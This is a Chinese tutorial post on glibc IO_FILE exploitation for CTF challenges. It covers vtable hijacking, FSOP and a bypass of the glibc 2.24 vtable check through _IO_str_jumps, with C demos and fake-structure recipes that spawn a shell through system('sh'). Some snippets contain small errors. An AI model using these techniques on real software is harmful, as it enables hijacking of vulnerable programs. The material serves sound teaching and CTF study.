1. 程式人生 > 實用技巧 >IO_FILE pwn初步探索

IO_FILE pwn初步探索

目錄

FILE結構

FILE在linux系統的標準IO庫中是用於描述檔案結構的,稱為檔案流。FILE結構在程式執行fopen等函式時會進行建立,並分配在堆中。我們常定義一個指向FLLE結構的指標來接收這個返回值。
FILE結構定義在libc.h中,如下所示

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

程序中的FILE結構會通過_chain域彼此連線形成一個連結串列,連結串列頭部用全域性變數_IO_list_all表示通過這個值我們可以遍歷所有結構。
在biaozhunI/O庫中,每個程式啟動時有三個檔案流是自動開啟的:stdin、stdout、stderr。他們的結構指標分別是_IO_2_1_stderr_、IO_2_1_stdoutIO_2_1_stdin

IO_2_1_stderrIO_2_1_stdout、_IO_2_1_stdin_是_IO_FILE結構外包裹著另一種結構_FILE_plus,其中包含了一個重要的指標vtable指向了一系列函式指標。
結構如下

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

IO_jump_t 儲存的一系列指標

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos      
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

偽造vtable劫持程式流程

Linux中一些常見的IO操作函式都需要經過FILE結構進行處理。尤其是_IO_FILE_plus結構中存在vtable,一些函式會取出vtable中的指標進行呼叫。因此偽造vtable劫持程式流程的中心思想就是針對_IO_FILE_plus的vtable動手腳,通過把vtable指向我們控制的記憶體,並在其中佈置函式指標來實現。vtable劫持分為兩種,一種是直接改寫vtable中的函式指標,通過任意地址寫就可以實現。另一種是覆蓋vtable的指標指向我們控制的記憶體,然後在其中佈置函式指標。

具體用法

修改vtable中的指標

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");
}

根據vtable在_IO_FILE_plus中的偏移得到vtable的地址,之後需要搞清欲劫持的IO函式會呼叫vtable中的哪個函式。
這裡給出常用函式執行過程中的呼叫:

1.fread函式呼叫_IO_FILE_plus.vtable中的_IO_XSGETN指標
2.fwrite函式呼叫_IO_FILE_plus.vtable中的_IO_XSPUTN指標,_IO_XSPUTN中會呼叫同樣位於 vtable 中的_IO_OVERFLOW指標
3.fclose函式呼叫_IO_FILE_plus.vtable中的_IO_FINISH指標
4.printf/puts與fwrite函式呼叫大致相同,均會呼叫_IO_XSPUTN指標和_IO_OVERFLOW指標

這裡printf函式會呼叫vtable中的xsputn,並且xsputn是vtable中的第8項,之後就可以寫入這個指標進行劫持。並且在xsputn等vtable函式進行呼叫時,傳入的第一個引數其實是對應的_IO_FILE_plus地址。比如這個例子呼叫printf,傳遞給vtable的第一個引數就是_IO_2_1_stdout_的地址。利用這點可以實現給劫持的vtable函式傳參,比如:

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcopy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

通過偏移計算得到xsputn的地址,將xsputn指標指向system函式地址,同時將_IO_FILE_plus頭部的內容改為sh,這樣fwrite函式中呼叫xsputn時實際執行system("sh")。
但是在一般libc版本下,位於libc資料段的vtable是不可以進行寫入的。不過,通過在可控的記憶體中偽造vtable的方法依然可以實現利用。

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

首先分配一塊內容用來存放偽造的vtable,之後修改IO_FILE_plus的vtable指標指向這塊記憶體。後面的步驟與上面一樣,修改xsputn對應的指標為system函式地址,然後修改_IO_FILE_plus頭部為sh,最後用fwrite觸發xsputn指標的呼叫即可。

FSOP

FSOP是file stream oriented programing的縮寫,根據前面對FILE的介紹得知程序內所有的_IO_FILE結構會使用_chain域相互連線形成一個連結串列,這個連結串列的頭部由_IO_list_all維護。FSOP的核心思想就是劫持_IO_list_all的值來偽造連結串列和其中的_IO_FILE項,但是單純的偽造只是構造了資料,還需要用某種方法進行觸發。FSOP選擇的觸發方法是呼叫_IO_flush_all_lockp,這個函式會重新整理_IO_list_all連結串列中所有項的檔案流,相當於對每個FILE呼叫fflush,也對應著會呼叫_IO_FILE_plus.vtable中的_IO_overflow。
而_IO_flush_all_lockp不需要攻擊者手動呼叫,在一些情況下這個函式會被系統呼叫:
1.當libc執行abort流程時
2.當執行exit函式時
3.當執行流從main函式返回時

具體用法

_IO_list_all是作為全域性變數儲存在libc.so中的,所以首先需要洩露ibc.so的基址,之後需要用任意地址寫把_IO_list_all的內容改為指向我們可控記憶體的指標,然後在可控記憶體中佈置上理想函式的vtable指標。為了能讓我們構造的fake_FILE能夠正常工作,這裡需要滿足一下條件:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

也就是

1.fp->_mode <= 0
2.fp->_IO_write_ptr > fp->_IO_write_base

看demo

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);

    *(long long*)((long long)ptr+mode_offset)=0x0;
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;

    list_all_ptr=(long long *)_IO_list_all;

    list_all_ptr[0]=ptr;

    exit(0);
}

這裡分配了一個0x200大小的塊用於偽造_IO_FILE_plus,前0x100偽造_IO_FILE,後0x100偽造vtable,在vtable中使用0x41414141覆蓋_IO_overflow指標。之後覆蓋位於libc中的全域性變數_IO_list_all,把它指向我們偽造的_IO_FILE_plus。這樣,通過呼叫exit函式,程式會執行_IO_flush_all_lockp,經過fflush獲取_IO_list_all 的值並取出作為_IO_FILE_plus呼叫其中的_IO_overflow。也就是最終實現call 0x41414141的效果。

glibc 2.24 下 IO_FILE 的利用

在2.24版本的glibc中,全新加入了針對IO_FILE_plus的vtable劫持的檢測措施,glibc會在呼叫虛擬函式之前首先檢查vtable地址的合法性。首先會驗證vtable是否位於_IO_vtable段中,如果滿足條件就正常執行,否則會呼叫_IO_vtable_check做進一步檢查。

/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

計算section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,緊接著會判斷vtable - __start___libc_IO_vtables的offset,如果這個offset大於section_length,即大於__stop___libc_IO_vtables - __start___libc_IO_vtables那麼就會呼叫_IO_vtable_check()這個函式。

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果 vtable 是非法的,那麼會引發 abort。這裡的檢查使得以往使用 vtable 進行利用的技術很難實現。

新的利用技術

fileno與緩衝區的相關利用

在vtable難以被利用之後,利用的關注點從vtable轉移到_IO_FILE結構內部的域中。前面介紹過_IO_FILE在使用標準IO庫時會進行建立並負責維護一些相關資訊,其中有一些域是表示呼叫諸如fwrite、fread等函式時寫入地址或讀取地址的,如果可以控制這些資料就可以實現任意地址寫或者任意地址讀。

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
};

因為程序中包含了系統預設的三個檔案流stdin\stdout\stderr,因此這種方式可以不需要程序中存在檔案操作,通過scanf\printf一樣可以進行利用。在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示結束地址,通過控制這兩個資料可以實現控制讀寫的操作。

示例

#include "stdio.h"

char buf[100];

int main()
{
 char stack_buf[100];
 scanf("%s",stack_buf);
 scanf("%s",stack_buf);

}

在執行程式一次使用stdin之前,stdin的內容還是未初始化的

gdb-peda$ x /40xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2088	0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0

呼叫scanf之後可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等域都被初始化

gdb-peda$ x /40xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2288	0x0000000000602011
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x0000000000602012	0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x0000000000602010	0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x0000000000602010	0x0000000000602010
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x0000000000602410	0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0

可以看到緩衝區就是從堆分配的

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x410                Used                None              None

執行一次scanf後,可以看到緩衝區中有我們輸入的資料字元'c'

gdb-peda$ x /10xg 0x602000
0x602000:	0x0000000000000000	0x0000000000000411
0x602010:	0x0000000000000a63	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x000000000000000

也就是說如果我們能夠修改_IO_buf_base、_IO_buf_end域,我們就可以進行任意地址的讀寫。

_IO_str_jumps

libc中不僅僅只有_IO_file_jumps這麼一個vtable,還有一個叫_IO_str_jumps的,這個vtable不在check的範圍之內。

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

如果我們能設定檔案指標的 vtable 為 _IO_str_jumps 麼就能呼叫不一樣的檔案操作函式。

overflow

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)// pass
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)//pass 一般會通過
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

利用以下程式碼來劫持程式流程

new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

幾個條件 bypass:
1.fp->_flags & _IO_NO_WRITES為假
2.(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
3.fp->_flags & _IO_USER_BUF(0x01)為假
4.2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能為負數
5.new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 應當指向/bin/sh字串對應的地址
6.fp+0xe0指向system地址
構造

_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2 

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

finish

原理與overflow類似

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //[fp+0xe8]
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

幾個條件 bypass:
1._IO_buf_base 不為空
2._flags & _IO_USER_BUF(0x01) 為假
構造:

_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

內容來源

CTF Wiki FILE Structure Description
CTF Wiki Forged Vtable to Hijack Control Flow
CTF Wiki FSOP
CTF wiki glibc 2.24 下 IO_FILE 的利用